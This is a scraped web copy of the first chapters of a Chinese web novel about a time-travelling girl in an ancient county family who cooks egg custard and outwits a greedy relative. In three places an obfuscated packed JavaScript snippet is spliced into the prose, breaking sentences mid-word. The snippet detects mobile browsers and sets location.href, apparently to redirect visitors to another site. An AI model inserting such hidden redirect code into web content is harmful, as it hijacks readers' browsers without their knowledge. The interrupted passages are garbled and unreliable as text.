《古代小食光》 1. 想吃肉的决心 大晋宣和二年，西南宁州府有个永安县，里边的老百姓多靠柞蚕织罗为生，风调雨顺时，也算得上一处繁华小县。 常言道，春日多食甜少食酸能养脾。 这年冬去春来，眨眼到了三月天，永安县街上便有许多挑着担子的小贩在卖甜枣儿、柳芽蜜饯、茉莉糖粥、藤萝饼等家常能吃，又不算金贵的甜食，大多都在三五文之间一份，大街小巷全泛着一股淡淡的甜香。 在永安县这样的地方，只要人勤奋，一月吃几回也不算奢侈，于是每年这个时候老百姓都会出门买一些回来尝尝春味儿。 但今年天冷，三月天了柞蚕还没结茧，故此街上出摊的人多买食的人少，老百姓愁得整宿整宿地睡不着。 在城西春晚巷聚族而居的宋氏族人不是这样日出而作日落而息，需要家中女眷苦踩织机的穷苦门户。 他们更多是在乡下有百十亩地佃给别人耕种的耕读之家，尽管周围也不乏丢了祖宗家业的不良人，但总体上也能说得上一句米粮丰足之氏了。 但这样的人家想要供出一个读书人，依然要精打细算，于是春晚巷子里的妇人想到地里的收成和上京赶考的盘缠，照样睡不好安稳觉。 天还一片漆黑，唐氏便点了蜡烛起来对着铜镜梳妆。 “怎这时就起来？”宋文朦胧间问了一句，伸手想把媳妇拉上来躺着。 唐氏抹上头油挽好发髻，斜着插了几只石榴簪，笑道：“年过完了，这不是要春耕了吗？爹昨儿早上说今日要开学，莺姐儿说自己想尽孝心，早起给爹送早饭来着，我去看看她收拾得如何了。” 宋文靠着帐子慢慢清醒过来，唔了一声。 他自三年前中了秀才，不是在书院闷头苦读就是四处游学准备举人试，家里的消息知道得便晚些，闻言也披了衣裳起来道：“我在家还用得着她起这么大早尽孝？早饭我去送就行，你也再躺下睡会儿。” 唐氏生得眉黛远山，面如秋水，看着清丽秀美，可性子却很坚定，笑道：“不成，没得娇惯坏了她，往年你在外念书，都是爹教她念书认字，不过送一餐饭，值当什么？” 像隔壁白家，还是县里的富户，家里包了一座山头专养蚕，一年四季鱼米不尽，阖家女儿不过跟着娘略认了几个字就专心女红去了。这个还算好的，往下走的门户，女儿家会跑就得下地喂鸡。 宋家虽然有一百五十亩地，日子用不着为柴米油盐发愁，可也就这样了。像他们这样能温饱的门户，永安县一抓一大把，大部分人家的姑娘都是睁眼瞎。 唐氏也不愿意闺女累着，谁叫她有个秀才爹呢？以后嫁到读书人家去，若是不识字，男人捏着这个想要红袖添香，做妇人的还有什么话说？那个滋味儿可比为自己的前途早起难受多了。 再说，若不是宋老爹当了一辈子秀才半辈子教书先生，家里孩子念书用不着束脩，这美事还轮不上她呢。 所以别说每年只早起这几天，就是日日让莺姐儿给爹跪下磕头，唐氏也只有高兴的份儿。 宋文自然也明白这些道理，念书谁轻松？就是他自己打三岁开了蒙，也没睡过几次懒觉。永安县是个中等县，有名有姓的大儒不往这边来，县里满打满算如今也就三个还活着的举人老爷。 他想往上走，年年都得陈门立雪，摇了船翻山越岭地去宁州城拜先生，去年连小脚趾都冻掉了一块，也没叫过一声苦的。 可轮到女儿早起一点儿，宋文就心疼了，笑道：“好在过了八月十五，她满了七岁，便用不着跟那些臭小子一块儿学了，念书的苦还是让她亲爹吃吧。” 唐氏看他酸溜溜的样子，笑：“就是不念书了，为这几年学，也值她给爹端茶倒水一辈子。” 宋文自己常不在家，女儿的孝心都让亲爹享了，确实有些不是滋味，不想让媳妇看出来，干脆厚着脸道：“我给爹端茶倒水一辈子都成，咱闺女还是给我倒吧。” 说完，起身往唐氏腮边一香，小声道：“谁让咱们只有她一个孩子呢？要能多几个，总能分到一个黏我的，我也不吃味了。” 成婚七年还不能有儿子，唐氏也不是不急，看宋文这样，便低头轻笑，露出一段白腻的颈脖，往下隐约能见着水红色的鸳鸯肚兜。 夫妻两个都只二十来岁，即使成婚多年感情也如胶似漆，宋文眼色一深，轻轻凑了过去。 宋家拢共也就四五个下人，也没啥穿衣丫头，于是这天早上宋莺还是自己起的床。 好在胎穿过来的成年人，年纪再小，需要早起的日子也很难迟到。 床另一头的琴姐儿听见动静睁开眼，见小侄女儿麻利地梳了个鸡窝头，不由半起身把人拽过来，梳了个自觉还算体面的丫髻，只是两鬓拉得格外紧。 宋莺用手往下扒拉好几次才没成吊梢眼。 宋家如今共有三个小孩子，除了六岁多的宋莺，剩下两个都是祖母李老娘生的天煞魔星，一个是十四岁的宋二郎宋律，一个就是眼前刚满十岁的宋三娘宋琴。 宋律还没成亲，小地方天高皇帝远，男女大防也不怎么讲究，如今还跟着李老娘和宋老爹住在正院东厢。 宋琴这个做妹妹的原是住在西厢，因着李老娘有双巧手，平时便老念叨着要让家里姑娘学一手好针线。 偏生宋琴手拙得很，脾气也不怎么好，让亲娘骂了两回，便脚底抹油溜到大哥院子里混日子去了，若不是李老娘亲自来逮人，是再不肯回去的。 琴姐儿是个懒货，往年宋老爹也有心教这女儿认字，她早起了两天就在家撒泼打滚，后来还抢了货郎的梆子，在家门口给宋老爹摔盆打碗地唱丧经，要给他念走，惹得一条巷子的婆婆大娘都端着饭碗站在门上看热闹。 宋老爹是读书人， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621390|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要脸，唬得从此再没敢提这个茬。 随着年岁渐长，琴姐儿性子也文静了许多，宋莺临走前，她还喝着隔夜茶，煞有其事地嘱咐：“那劳什子书念两句就算给老爹脸了，你且耐着性子哄他两句，等下了学，小姑带你去香衣巷买米珠串手链儿玩。” 宋莺喜欢逗这个姑，心里看她小大人似的格外好笑，于是逗她道：“姑，我又不是你，见天儿给阿公念丧经，我乖着呢。”说完便往外蹿。 琴姐儿让人揭了老底，觉也不睡了，跳下床穿着一只鞋就要来打人，两人一路嘻嘻哈哈地跑到小厨房。 煮饭的王婆子生得痴肥，一米五的个子，有一百三十斤上下，劲儿也大得很，当下一手一个逮鸡崽子似的逮住人，还往两人跳散的头发里摸了两把，咂嘴道：“这鸡窝乱得浑似鸡刚来过蛋，怎不见蛋呢？” 要是寻常姑娘，这时已要羞得哭了，也不知宋家人天生脸厚怎地，总之两个小丫头若无其事地用水梳了梳头。 宋莺还嗯了一声，凑到柴锅前看了一眼咕嘟咕嘟冒泡的热水，一看就是准备下清汤寡水的阳春面做早饭，笑道：“窝里没蛋，想是掉锅里去了，早间咱们家一人吃一碗鸡蛋肉丝面也算我的孝心了。” 王婆子是李老娘的陪嫁，一辈子无儿无女的就喜欢小孩子，见孩子活泼心里也喜欢，当下笑骂道：“肉丝？怎不要金丝？成日就惦记老娘这里几颗蛋，好容易攒了这几个，一天就要给老娘吃完。” 也不是王婆子抠，主家再和善她也是个下人，若是家里有，孩子吃一个扔一个她也没二话，可偏偏这年头地主家也没有余粮。 宋莺也是来了才知道古代小老百姓有多不容易，她睁开眼看见宋家二进的老宅，又听说老爹和祖父都是秀才什么的，还以为自己从此就过上衣来伸手饭来张口，人参鲍肚吃穿不尽的好日子了。 结果宋家人每日才沾小鸡腿大的肉，等她逐渐长大才发现这不是宋家人抠门，而是肉饼糖糕在古代都是稀罕物。据说需要自己种地的农人，一年的肉匀下来，一天吃的还没眼屎大。 宋莺在现代大吃大喝惯了，肉是早吃腻了的，然而来了古代六年多，说起肉，口水都要冲垮龙王庙。 可这东西金贵，李老娘如今还当着家，她除了给儿子补身很少会额外烧肉。 宋莺本来觉得无所谓，这不是没条件吃吗？ 直到有一次过年，家里来了许多面黄肌肉、矮墩墩的亲朋好友，这些人言谈间说起宋莺家许多家境尚可的叔叔伯伯，叹道：可惜喽，不到四十便英年早逝。 宋莺吓了一跳，从此便坚定了吃肉的决心，开始想着法儿的从家里掏东西吃了。 都二投胎了，至少自己不能是个矮子吧，至于家里人，不说长命百岁，活个六十来岁也成啊。 所以，只要是有机会来厨房的活儿，她都不会推辞。 2. 改变命运的蛋羹 王婆子不给肉，可宋家蛋却有的是，这等平民燕窝，宋莺自然是要天天吃的。 琴姐儿虽贪玩，但十二三岁也已经有了少女的身姿，含苞待放得如同清晨的沾满露水的荷花苞，每次逛街都有年轻的后生盯着看，她在这方面还没开窍，可对姑娘的花儿朵儿已是很上心了。 奈何宋家家境寻常，她用的多是嫂嫂和娘亲以往的旧首饰，虽也值一些钱，但毕竟不如新打的好看。 昨日在秀姐儿家玩布老鼠，有人说刘地主家的刘大小姐定亲时，男方送了一条锦鸡羽毛披风，惹得一屋子小姑娘都生羡。 琴姐儿自然也很羡慕，还跟秀姐儿商议一起拔家里走地鸡的屁股毛，存到长大一起做羽毛披风当嫁妆，当下便很有姑姑的风范地亲自去鸡窝掏了七个蛋过来。 宋莺马上就注意到琴姐儿手上除了一篮子鸡蛋外还多了几根色泽艳丽的鸡毛，不过她只以为这是拿来做毽子的。 学习不勤，偷鸡却快，说的就是小姑这样调皮的小少女了。宋莺笑了笑，故意问小姑，道：“小姑，你辛苦了，等会儿多分你一些蛋好吗？” 因为王婆子做的蛋总有股腥味，宋家人，例如宋琴都是不爱吃的，果然，琴姐儿把羽毛抓在手里，道：“我只要桂圆大一块儿尝尝味。” 王婆子被小小偷鸡贼嫌弃了一顿，笑骂道：“今早你想吃我做的也不能哩！” 宋莺接过话笑：“小姑，今早我来做，你也就吃鸡屎大么？” 宋家人做饭再没一个好吃的，琴姐儿拿到了鸡毛，本来一心想着披风的事，这时得知小侄女儿小下灶，很是吓了一跳，险些把鸡毛都捏成两节，半天才道：“既如此，届时连碗也不必拿了，我从你碗里夹米粒大，吃个新鲜就成。” 王婆子在一边险没把嘴笑歪。 可宋莺确实是会做菜的，上辈子她家开的就是私房菜馆，在国内名气还不小。 这手艺宋爷爷本来是要传给宋爸爸的，奈何宋爸爸笨猪一只，反而偶尔来陪太子读书的宋莺一点就通，不过宋莺还在念书，便没有花多长时间在这上头。 即使如此，她的家常菜也做得有几分滋味了。 永安县的姑娘都是打六七岁上开始学着下灶绣花，如今宋莺在厨房已经待了三个月，寻常的蒸菜炖菜，王婆子都同意让她慢慢学。 至于油烟呛人的炒菜，女儿家金贵，几乎都要等到十三岁定了人家，再跟着夫家的口味学。 今日宋莺要做的就是蒸蛋。 她转身上灶将鸡蛋在碗里搅散，往里加了一些水，再用薄纱布过滤了一遍，倒在小碗里。 蒸菜火候，多一分则老少一分则水，要说什么时候最好，则跟火的大小，柴的种类，食材的品质都有关系。 但最关键的是不能中途掀锅，不然跑了热气，原本能做十分好的菜，也就只剩七分味了。 宋莺见家里人做饭做得多，日久年深，即使不用力分辨，也练就了掌握好揭锅的时间。 所以，当她揭开锅盖时，琴姐儿和王婆子便明显闻到了一股勾人的香味，两人看了一眼，心下都有些诧异，觉着这不像普通的蛋羹，不仅一点儿腥味没有，反而还带了一丝鱼虾的鲜味。 永安县多水，家家户户都是吃鱼虾长大的，春日鱼儿抱籽，衙门不让捕鱼，人嘴里正馋这个，两人不由咕叽一声咽了口口水。 好吃的蛋羹要配白米饭，但永安县人早间习惯吃面，宋莺也入乡随俗，她特意挑了一小把面出又给王婆子分了一勺蛋羹做浇头。 蛋羹金黄油润，平滑得像铜镜，上边还淋了几滴去岁做的秋油，只是看着便让人咽口水。 “王婆，你也吃。”宋莺挑了一碗出来道。 王婆子很惊讶，道：“姐儿，你真是头回做饭么？” 宋莺当然不会透露自己是穿过来的，只是道：“都是王婆教得好。” 王婆一听，果然心中贴慰，也没再客气，接过碗慢慢吃起来。 不想这蛋羹不仅闻起来鲜香扑鼻，吃起来也滑嫩得厉害，拌碎了沾在面上，每一口都有浓郁的蛋香。大冷天一小碗下去，额头顿时便痛快地出了一层薄汗。 琴姐儿在一边原本用的是个新买的挖耳簪，打算挑一耳屎大出来吃，见王婆子八辈子没吃过蛋羹似的，立马忘了前头说的话，反拿了最大的那只碗，挑了一小筷子面仔细拌在蛋羹里，不知不觉便把一碗面吃尽了，一点儿蛋渣都没剩下，她看着空碗，惊道：“莺姐儿，你的手怎么这么巧了？” 宋莺道：“你要是喜欢，以后我天天做给你吃。” 南方姑娘本就生得不高，宋莺怕以后小姑成了亲跟男人吵嘴动手挨打，从小补得强壮点，她就放心了。 要是每次家里的蛋都能做成这样，琴姐儿也不排斥，只是蛋羹味道再好，那也是比不上肉的。 “好是好。”琴姐儿看着空碗，转头又想起厚油腊肉，道：“要是能把我爹的腊肉割一巴掌下来用油煎了做面臊子，跟着蛋羹一起吃就更好了。” 可惜这话也就是说说而已，宋氏才气少，在永安县能有个名头都赖住得久。 宋莺听娘说过，宋家以前很穷，宋老爹五岁多上就死了爹，只靠个老娘饥一顿饱一顿带着他过活，家里唯一值钱的就是祖上留下来的二进大院。 眼瞅着要卖了，还是隔壁刚死了儿子的邻居张大娘见他们母子可怜，特意求了自家男人，让宋老爹去乡下帮他们放牛，每日包他一餐饭给五个大钱，这才让宋家不至于家破人亡。 宋老爹把县里的宅子租出去，自己带着老娘去了乡下，中午吃一半给老娘省一半，下午把牛赶到村口李秀才屋子边吃草，自己则躲在屋檐下偷师。 这么长到十二岁，张大娘和李秀才看他眉目端正，学问也学得不错，两家人一合计干脆出钱资助他考学去了。 宋老爹也算争气，知道机不再来，十二岁初试就中了童生，十五岁二试又中了秀才。可惜李先生也就是个秀才，宋氏族人也请不起举人老爷来给他做先生，宋老爹从此往上未得寸进。 等到张大娘和李先生寿终正寝，宋老爹和李秀才的女儿李玉婷成婚生子后，他便没有再考，反而回县里在家隔了半边院子做私塾。 从此，宋氏往下两代子孙，有钱的往外找大家，没啥钱又想念书的，宋老爹便让他们每年提二斤肥腊肉，每日带些一斤不拘是什么的菜过来，宋家也管他们一餐饭，至于米，则由宋氏族里补贴。 像宋莺知道的旁的开蒙先生，束脩都不会低于一年二两银子、两斤肥腊肉、一匹裁衣细布。零零总总加起来一个人也要三两半的银子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621391|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这笔钱听着不算多，但寻常要在地里刨食吃的一家五口，风调雨顺之年也就能存下四两银子。 永安县人还有织罗渔猎的收入，但念书贵的并不是学费，而是笔墨纸张。 即使一个小孩子学得再节俭，在开蒙初期也要有《百家姓》《千字文》《三字经》作为教育启蒙，有《童蒙须知》《小学》规范行为，以及《蒙求》《千家诗》作为课外拓展。 这七本书就价值不菲，即使平均到每一年，一年也要花上十来两银子，在乡下，二十两银子就能娶一个媳妇了。县里人生活没这么窘迫，可春晚巷子附进能拿出这笔钱的人也没多少。 故此，宋家的名声在巷子里是再没得说的。不过宋老爹这活儿挣得少，肉大部分就得换了银钱做家用，要不是有李老娘的七八十亩田产做陪嫁，家里日子还不知道多清贫呢。也就前几年宋文中了秀才，家里又多了七十亩免税田，日子才真好过了一点。 李老娘勤俭持家几十年，钱财看得眼珠子似的，像琴姐儿想吃的腊肉，四季都吊在她屋子里，一天要数个两三回哩，有年一吊肉让耗子吃了一个牙印儿，五六年过去，她老人家院子里少说还散养了七八只野猫儿守门。 这狠劲儿谁敢去要肉吃？ 琴姐儿想到这个满脸遗憾地叹了一声，摸着肚子道：“莺姐儿，老爹那里今日多半有学生新送来的腊肉，你看着时候，抢下一节好的过来，咱们拿到婶娘家偷摸烤了吃，等落肚子里，老爹老娘还能把咱们打死怎地？” 要是往常，宋莺就应下了，宋家人如今看着好花好稻，真细究起来往年都吃了不少苦头，再不多吃点好的补补，以后他们家人死了肉还在，倒是白白便宜吃席的。 然而这次宋莺却看着天气没有吱声，心里还很有些担忧。 永安县有一条宽阔的大河是淳江的分支，周围又有几座高山，山货河鲜都很多，但世上没有十全十美的事，县里的耕地便比旁的县少一大截，想要吃好穿暖便只能多做点生意补贴家用。 眼下天冷，柞蚕不结茧，寻常人家都得勒着肚皮过日子以防万一，哪还有多余的粮食给先生送束脩？ 只怕今年来念书的学生不会有往年多了，腊肉自然也不会比往年多。 等灶上收拾好，天边已经泛起了鱼肚白，琴姐儿害怕让老爹逮住认字，吃饱喝足就又溜回去睡回笼觉了。 宋莺则提着两碗面两碗蛋羹往前院小学堂走。 宋家的两进宅院不大，景色却很不错，宋老爹的私塾与其说是私塾，不如说是半个宋家族学，所以巷子里的人家有个好花好树的都愿意送过来。 像前院小孩儿念书的地方就种了一些桃子树和腊梅，树根下见缝插针地种了一些菊花和小青菜。 几个来得早的小孩儿都裹了夹衣在树根下看大家都带了什么菜。 宋莺走过去道：“大冷天的在外边傻待着干什么？” 五岁多的节哥儿抖抖米袋子，挤眉弄眼地道：“志哥儿他爹来了，说是年景不好，以后志哥儿不念书了回家挣钱去。” 这种话，宋老爹是不让学生听的，几人听了几耳朵就让赶出来了。 会有人退学的事宋莺来的路上已经想过，但不管是谁，都不可能是志哥儿家。 他念书又不花钱！ 3. 不被理解的厨神 随着宋莺年纪渐长，家里的事她逐渐也了解不少。至少知道了自家这样白莲花似的小户也有几户不对付的亲朋，可要说这里头她最不喜欢谁，非志哥儿祖父宋五老爷莫属。 五老爷和她祖父宋满是远亲也是近邻，在这个邻里来往密切的时代，两家本该亲如一家。 可宋老爹少时便俊，如今四十多的人了头发还是乌油油的，惹得永安县人一直戏称半老宋郎。 再看五老爷，生就贼眉鼠眼的一只，整天头发梳得牛舔似的光亮，可还是自幼便被宋老爹比得土鸡瓦狗一般，甚至还落个“钻地鼠”的浑名。 颜值上的差距已经足够让人心寒，好在还有家世为五老爷扳回一局。 然，宋莺家从险卖家产的赤贫阶级摇身一变，一门两秀才，在这县城也算一号传奇人物。 而五老爷其人，不到二十就把家里二百五十多亩田花了个精光，前几年更是举家搬到旧街枣子巷贩油度日去了。 这样诚然也算得上一号传奇人物，但传奇对传奇，老百姓更喜欢那个是不消说的，由此可知五老爷一家对宋莺家是何等态度了。 要宋莺说，五老爷的命比宋老爹好得多，宋老爹当年念书，族里还穷着，没人能拿得出大笔银子资助他继续深造。 到了五老爷孙子这代，宋氏已经有不少人做生意发了家，族长见子弟不成器要破家，便说动了五老爷家的故旧凑了些米面要供宋志念几年书，叮嘱他将来找点儿账房之类的营生。 这好事要是落在宋老爹年轻时候，凭借他的勤奋劲，搞不好真能中个举呢。 但落到五老爷家就完全不是这么回事了，不知怎么，原本念书还算有灵气的志哥儿得了亲朋资助后，便被望子成龙的五老爷两口子盼得见着书就哆嗦。 志哥儿的祖母乌老娘盼了一阵，见孙子越发不成器，逐渐便对志哥儿母子刻薄起来。 前些日子志哥儿他娘自乡下探亲回来，见着婆婆在切年前剩下的一块儿大月饼，不由多看了几眼，不为别的，只怕儿子吃了中毒。 乌老娘却误以为儿媳妇一个劲看她的老月饼是嘴馋，晚间便连志哥儿也不曾叫，只偷摸喊了儿女去她屋子里慢慢分。 志哥儿她娘见丈夫半夜都没回来，便带着儿子一起，提心吊胆地去了乌老娘屋里叫人。 一进去母子二人便见着公公、婆婆、丈夫、小姑子，连带着叔叔和小嫂子一家五口，都直挺挺的躺在地上吐白沫，就这手上还拿着用水洗刷过的鲜肉月饼。 县城就这么大，族里走动也频繁，这事儿让三大姑七大姨一说，眨眼就传得无人不知无人不晓，月饼孙家的鲜肉月饼也瞬间卖得精光。 就是守财如李老娘，也买了两个回来切成八瓣儿让家里人吃了尝尝鲜儿，吃完了还困惑道：“味道也就寻常，还不如加了青红丝的五仁好吃呢！咋跟八辈子没吃过月饼似的？” 宋莺心说，这叫天不佑歹人，不然也不能那么一大家子人，除了志哥儿母子都吃得病歪歪的！ 年轻人还好些，可宋五老爷和乌老娘年纪大了，身子骨养了半月还不见大好，大夫来看了后只说还得吃肉补身。 乌老娘最怕自个儿有个三长两短，一听便起了歹念头，亲手下了把阳春面，又切了一碟子醋拌的米豆腐，先叫来志哥儿他爹，道： “我儿，志哥儿念了几年书，也看不出上头有什么天赋，干脆叫了家来帮他舅舅舅母算点儿油账，一日给他三五个钱，好歹算个进项，去岁存在宋满家的腊肉也能拿回来给孩子补补。” 志哥儿他爹落地便没过过富贵日子，但听大哥说过不少穿金戴银的地主生活，便自诩落难公子，再穷在外也憋了股子气轻易不说自己家贫，每月还专门花十文钱去猪肉铺买一小块肥猪皮，早起出门取了擦得满嘴油光，逢人便说家里又买肉吃了。 要束脩这事儿，可可踢在志哥儿他爹肺上，唬得他立马跳起来道：“我就一柱子碰死在家里，也不到外边去丢那个人！” 说罢，一提直缀气哼哼地走了。 五老爷在窗外听得眼珠子滴溜溜地转个不停，心里虽然也想要腊肉，但实在没理，谁家孩子上完学再讨去年的束脩啊？走进去没好气道：“去岁的腊肉早化成他宋满的稀狗屎了，上哪要去？” 乌老娘见丈夫进来，叹气道：“去岁的吃了今春的总有，他二大爷不都是这个时候给宋满家送束脩么，二郎不去，你明早带着志哥儿一起去要也成，就说年景不好要志哥儿干活儿养家了，宋满难道还好意思说不？” 五老爷也是这么想的，可见老妻一脸急样，他又不说话了，只怕人回神跟他抢饭，便闭着眼假装慢慢思考的样子，全身上下唯有筷子动得飞快，直到把一碟子米豆腐都吃尽了方抹嘴应下，得意道：“这个家没我还怎么过哟！” 转头，乌老娘便饿着肚子跟儿媳说了不叫志哥儿再念书的事，在家连馊月饼都吃不上的小媳妇，能有什么话说，也只能哭答应儿子退学，不过背地里就不知道咒这婆婆多少回了。 至于志哥儿他爹，只要家里丢人的不是他，那是谁他倒是无所谓的，便也默认了这事，还盘算着中午去哪里饶些素菜回来炒腊肉。 宋莺在外听见是五老爷亲自来的，便知道这人准没憋好屁，一时操心宋老爹吃亏，推开门便溜到两人跟前站着，把碗筷摆上，笑道：“阿公先吃饭吧，面都快坨了。” 要是个知趣的，看见别人家吃饭就知道走了，五老爷屁股巍然不动，两只眼直勾勾地盯着蛋羹拌面，想着自己往年也是这样，早间由小丫头服侍着吃一碗鸡蛋羹，上边还要加一勺银皮虾米，远比这讲究得多，那时，宋满家连白面馒头都吃不上。 再回神，五老爷便饥肠辘辘地笑：“宋阿满，你也算苦尽甘来了，孩子这样小就给吃蛋羹拌面，你这般大时还在乡下放牛，有巴掌大的饼都知道给长辈分一半，当时就可见仁孝。” 宋莺在肚子里翻了个白眼，这话里话外，无非是点他们家以前穷，又骂她不孝顺，眼前还有个长辈吃不上饭呢，她倒大喇喇地吃上蛋羹了。 宋老爹能从放牛郎变成自己这代最年轻的秀才，那也不是吃素的，伸手就把两碗面拌匀，拉着宋莺一起，慢条斯理地吃，也不提要分一碗过去，还摸着孙女的头道： “再好过，也不如堂兄往年好过，每日都能吃一碗红烧狮子头，后来吃伤了肉，甚至只爱用里边的冬瓜，那时，过冬的腊肉堂兄也从不沾一筷子，只说，腌的肉不新鲜，是下等肉，满巷子多少人，每日就闻着你家的菜味儿下饭。” 五老爷说起昔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621392|172260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年旧事，也自豪得很，一捋稀疏的鼠须，咕嘟一声，道：“那腊肉始终有烟熏过的火味儿和猪味儿，除非用上好的果木，不然不能根除，自然不好吃，我们家人，都不爱吃这个。” 宋老爹看得分明，这个堂兄是来讨肉的，但这东西是志哥儿二大爷给的，要退也不能退给五老爷家，可要说理吧，这又是个浑人。 宋老爹又勾着人说了几句繁荣往事，盯着宋莺吃完了，才又笑道：“对了，堂兄，你说今日除了要把志哥儿带回去，还要干什么来着？” 五老爷一时口快，装了个大的，这时无论如何也不好意思再开口说想把二两腊肉提回去，只得慢慢道：“也没别的，这次就想叫他回去种地，想问问你有没有种地的书让他看看。” 宋莺委实看不惯五老爷这虚伪样，便故作天真道：“五阿公，你说得真好笑。昨儿志哥儿他爹出门嘴上还油光锃亮的，秀姐儿两兄妹在巷子里遇见了流着口水问他，他还说家里中午刚做了脸盆大的葱花肉饼，放了不下一两油，烧得面饼子起了一个又一个大焦泡呢！ 回家秀姐儿缠着她娘要吃，挨了好大一顿打，也不知今日能不能出来玩呢。你家日子这样好，哪用得着志哥儿回家种地。” 而且，他家也早没地了，上哪种去？ 最后这句话说出来就太没脸了，宋莺毕竟是小辈，当面挤兑老人的不是，有理也变没理了，故此这句话便没说出口。 五老爷让宋莺两祖孙一顿挤兑，脸色半红半白，他又不能跳出来说儿子是头打肿脸充胖子的蠢猪。 这时给宋老爹给支到小学堂一个人念早课的志哥儿溜过来，探头探脑地问：“阿公，我还念吗？” 肉提不回去，再给孩子带走可不就亏到姥姥家了吗？ 于是志哥儿便没能退成学，及至中午下了学，他还有些回不过神，跟宋莺道：“莺妹妹，你说，我爹我阿公是不是都疯了，一会儿不让我念一会儿念，昨儿做梦，我都梦见在乡下做养猪大王了。” 宋莺出于对一个小学生的同情，自然为他能留下来感到开心，道：“以后，你家谁不让你念完这六年，谁就是疯的。” 别管念得好不好，这几年又不花钱，怎么着也得混个古代小学生文凭才好闯天下吧。 对于学里的小伙伴来说，人生中能多一个人和自己一起受读书之苦，也是件喜事，于是一群人深深地在宋志脑子种下了“我家除了我娘都不是好人”的种子。 祖孙两人赶跑了不速之客，都很高兴，中午饭桌上，宋莺还问宋老爹：“阿公，我做的蛋好吃吗？” 说实话，宋老爹当时忙着护腊肉，忘了，只隐约记得很嫩滑，便道：“好吃，鲍厨子遇见你都能羞死。” 鲍厨子，县城第一酒楼闻香居大厨也。 宋莺得了这一句，下午便满意地迈着短腿逢人四处问吃过她蛋羹的人：“我是厨神吗？” 厨神的话，以后就能天天掌勺给家里做菜了吧？ 宋文作为常不在家的亲爹，自然很捧场地说是。只有唐氏，作为亲娘，说了句实话：“好吃是好吃，但要说厨神，脸皮还不比五老爷家擦嘴的猪皮都厚了？” 给宋莺气得，大喊一句：“生我者亲娘，不知我者亦亲娘也！”到放了晚学都没出现。 4. 中华娘的包包头 五老爷气得吹胡子瞪眼地回去把事跟乌老娘一说，转身往屋里找了个叉衣裳的“Y”子竹竿，跑至儿子床边，把他吊在挂纱铜钩上巴掌大的肥肉皮“嗖”一下叉下来丢到院子里，道：“宋敦再跑出去丢人现眼，我下一个就叉活了他！” 乌老娘没拿回腊肉心里也气得慌，在屋子里把宋莺家咒了个遍。 两人的大儿子宋举正在院子里磕瓜子儿，见老爹叉了老二的猪肉皮出来，连忙流着口水叫来媳妇，道：“俏娘，赶紧把肥猪皮捡起来，趁着老二一家不在擦擦锅，用肥皮下的肥肉做油烤脆猪皮，再撒点儿娘囤的白糖吃了补身。” 俏娘和丈夫虽在做贩油的小生意，可在家从来不肯让旁人沾一点儿光，此时捡猪皮也藏油似的快，待煎完了皮剁成脆肉臊，又取来白糍粑，往上抹了好大一把乌老娘存来待客得糖霜和黑芝麻，满满地包了几个又在黄豆粉里滚了一圈。 一家人吃得嘴上都是糖油，只没给二房一家留一星半点。 待吃完了，乌老娘喘匀了气，有了劲折腾，跳下床往巷子里一蹿，到处说嘴，道：“宋家不肯退束脩，不是个厚道人家，还是自家侄儿，都能赖下腊肉，远些的还不知怎么着呢？一日打三顿孩子也未可知。” 五老爷家如今虽住得远了些，可市井之处便没傻的，寻常说嘴人家也知他家是有些红眼病在身，只当听个笑话便过去了，宋莺家里也不当多大回事，故此往常两家人虽有些龃龉大体上也算过得去。 这次乌老娘似是吃多了药，舌头整日嚼个不停，加上天公不作美，志哥儿用不着自己家花钱还能接着有学上，可其他没人资助的小孩儿，有好几个家里都觉得今年恐怕不能风调雨顺，想把钱节约下来应急。 正常退学的人家宋老爹虽然可惜学生，但也没有不答应的道理，毕竟比起念书还是活着更重要。 学堂本来一共有二十个学生，在安乐县的小型学堂里已经算特别多的，一下子走了五个学生，瞧着也很打眼了。 另有一些和宋莺家不对付的人见状便私下拉着许多人说话。 “是不是宋家真有点不对劲啊？才让这么多学生退学跑了？” “苍蝇不叮无缝的蛋，乌老娘一人说是她嘴贱，连着五六户都要走，这可奇了。” 其实只要留心打听一下别的私塾就知今春退学的学生不在少数，不过大部分私塾束脩贵，寻常子弟并不能轻易入门，所以退的也就一两个人左右，于是在有心人眼里，超水平退了五个的学生的宋家就铁定是人品有瑕了。 世上最不缺锦上添花和落井下石之人，尽管有不少明眼人帮着宋莺家说话，闲话还是一日日地传开了。 李老娘在家听了几日闲言碎语想要出门争辨，还是宋老爹劝她：“外人说什么让他们说去就是了。再说造谣就得让造谣的来澄清，被造谣的出来说话，最后都是拱火看乐子的多。这事儿咱们家不能此时吱声。” 至于要怎么办，宋老爹其实不急，他这是半个族学，闹大了第一个出来说话的就是族长，到时还能有五老爷家好果子吃？族长不出来，就说明事没到那份上。 